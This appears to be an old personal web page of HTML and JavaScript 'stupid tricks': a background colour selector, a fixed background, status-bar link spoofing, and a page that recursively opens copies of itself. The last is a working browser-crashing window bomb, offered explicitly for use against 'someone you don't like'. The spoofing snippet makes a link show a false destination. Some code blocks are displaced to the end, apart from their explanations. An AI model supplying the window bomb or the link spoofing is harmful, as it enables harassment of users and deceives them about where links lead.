Stupid Trick Number 1: Background Colour Selector
You may already have noticed that at the top of each of my pages I have a little background colour selector. This is really easy to make. The exact code I used for my selector is:
<form>
<input type=button
value="Yellow"
onClick='document.bgColor = "#FFFFAA"'>
<input type=button
value="Blue"
onClick='document.bgColor="#AAAAFF"'>
<input type=button
value="Pink"
onClick='document.bgColor="#FFAAAA"'>
<input type=button
value="Green"
onClick='document.bgColor="#AAFFAA"'>
<input type=button
value="Grey"
onClick='document.bgColor="#AAAAAA"'>
<input type=button
value="White"
onClick='document.bgColor="#FFFFFF"'>
</form>
To make it so that only part of the background changes (on mine it's the white diamonds) you must use a transparent GIF picture for you background and leave the bit that you want to change as the transparent colour. On mine white is the transparent colour so that is the bit that changes. Nice and simple eh. And the code for just one button is:
<input type=button
value="Blue"
onClick='document.bgColor="#AAAAFF"'>
Change the red bits to say whatever you want.
Stupid Trick Number 2: Fake Links
By using JavaScript, you can have links say stuff other than their destination in the status window:(The following link really just points back to this file, html.htm)
Click here to access the FBI Backdoor!
To do this, just add an onMouseOver and onMouseOut attribute to the tag:
You can change the red bits to whatever you want them to say.
Stupid Trick Number 3: Fixed Background
This one isn't so much a trick. More a handy bit of HTML that you should know. If you want a fixed background like the one on this page you insert the following into the BODY tag of your page:
bgproperties=fixed
Nice and simple but you'd be surprised how many people don't know that. I personally don't like this effect and it is only used on this page for demonstration purposes.
Stupid Trick Number 4: Open Loads of Windows
This one is really good, especially if you direct someone you don't like to the page. The effects are maximized if you put nothing on the page because the windows will load faster. This particular code will open up 6 windows for each window that opens (6 first go and then those 6 open up 6 each and so on). The bit in red is the address of the page that contains the following code (my crash page is located at crashtest.htm). This way the page that opens the windows will open itself over and over. Put this code into the BODY tag:
For a free shop demonstration go HERE! Just leave the process running and you'll have hundreds of open browser windows! Need I say that this requires JavaScript to work.
And if you want to open up more windows each go you copy one of the lines that ends in a semi-colon (;) and paste it anywhere between the apostrophes. Then change the letter after "window" so it follows the pattern. E.g. if I wanted to open 7 windows a go I'd type:
Nice and simple eh. Now you can open 20 windows a go and really annoy people!
<a href="realplace.html"
onMouseOver="window.status='fakeplace.html';return true"
onMouseOut="window.status='Done';return true">
Link Text</a>
Make sure you keep everything in quotes on the same line in the HTML file or you'll get an error message.
onLoad=
'msgwindowa = window.open("crashtest.htm");
windowb = window.open("crashtest.htm");
windowc = window.open("crashtest.htm");
windowd = window.open("crashtest.htm");
windowe = window.open("crashtest.htm");
windowf = window.open("crashtest.htm")'
onLoad=
'msgwindowa = window.open("crashtest.htm");
windowb = window.open("crashtest.htm");
windowc = window.open("crashtest.htm");
windowd = window.open("crashtest.htm");
windowe = window.open("crashtest.htm");
windowf = window.open("crashtest.htm");
windowg = window.open("crashtest.htm")'
Any questions, comments, death threats.
E-mail me.
Back to my homepage